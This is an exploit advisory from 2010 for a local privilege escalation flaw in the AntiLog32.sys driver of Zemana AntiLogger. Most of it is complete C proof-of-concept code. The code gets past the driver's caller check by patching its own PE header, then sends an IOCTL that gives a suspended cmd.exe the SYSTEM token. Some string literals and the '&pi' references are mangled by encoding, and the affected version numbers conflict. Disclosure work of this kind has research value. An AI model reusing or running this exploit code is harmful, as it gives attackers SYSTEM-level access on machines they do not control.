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zemana-escalate.txt

Posted on 28 July 2010

Zemana AntiLogger AntiLog32.sys <= 1.5.2.755 Local Privilege Escalation Vulnerability

VULNERABLE PRODUCTS
Zemana AntiLogger <=1.9.2.2.206

DETAILS:
AntiLog32.sys create a device called DeviceAntiLog32 , and handles DeviceIoControl request IoControlCode = 0x8000201C , which  can elevate the privilege of a process to another process

EXPLOIT CODE:

#include "stdafx.h"
#include "windows.h"
#include "winioctl.h"
#define IOCTL_IMPERSONATE_PROCESS CTL_CODE(0x8000 , 0x807 , METHOD_BUFFERED , FILE_ANY_ACCESS)

typedef struct _IMPERSONATE_PROCESS{
HANDLE ImpersonateProcess ;
HANDLE SystemProcess ;
}IMPERSONATE_PROCESS , *PIMPERSONATE_PROCESS;

int main(int argc, char* argv[])
{
printf("Zemana AntiLogger <=1.9.2.2.206 AntiLog32.sys <= 1.5.2.755
"
"Local Privilege Escalation Vulnerability Proof-of-Concept
"
"2010-7-28
"
"By MJ0011 th_decoder@126.com

Press Enter
");
getchar();

//bypass some useless create check

PIMAGE_DOS_HEADER pdoshdr = (PIMAGE_DOS_HEADER)GetModuleHandle(NULL);
PIMAGE_NT_HEADERS pnthdr = (PIMAGE_NT_HEADERS)((ULONG)pdoshdr + pdoshdr->e_lfanew);
PVOID waddr = &pnthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress ;

ULONG oldp ;

VirtualProtect(waddr , sizeof(ULONG) , PAGE_READWRITE , &oldp);
pnthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0x1 ;
VirtualProtect(waddr , sizeof(ULONG) , oldp , &oldp);


HANDLE hdev = CreateFile("\\.\AntiLog32" ,
FILE_READ_ATTRIBUTES ,
FILE_SHARE_READ ,
0,
OPEN_EXISTING ,
0,0);

if (hdev == INVALID_HANDLE_VALUE)
{
printf("cannot open device %u
" , GetLastError());
getchar();
return 0;

}

STARTUPINFOA sia ;
memset(&sia , 0 , sizeof(sia));
sia.cb = sizeof(sia);
PROCESS_INFORMATION pi ;
memset(Ï€ , 0 , sizeof(pi));



if (!CreateProcess("c:\windows\system32\cmd.exe" ,
NULL ,
NULL,
NULL,
FALSE ,
CREATE_SUSPENDED,
NULL,
NULL,
&sia ,
Ï€))
{
printf("cannot run cmd.exe....%u
", GetLastError());
getchar();
return 0 ;
}


IMPERSONATE_PROCESS ip ;
ip.ImpersonateProcess = (HANDLE)pi.dwProcessId ;
ip.SystemProcess = (HANDLE)4 ; //// WinXP and later
ULONG btr ;

if (!DeviceIoControl(hdev , IOCTL_IMPERSONATE_PROCESS , &ip , sizeof(ip) , NULL , 0 , &btr, 0))
{
printf("cannot impersonate process %u
" , GetLastError());
getchar();
return 0 ;
}

ResumeThread(pi.hThread);

printf("OK
");


return 0;
}

================================




th_decoder
2010-07-28

 

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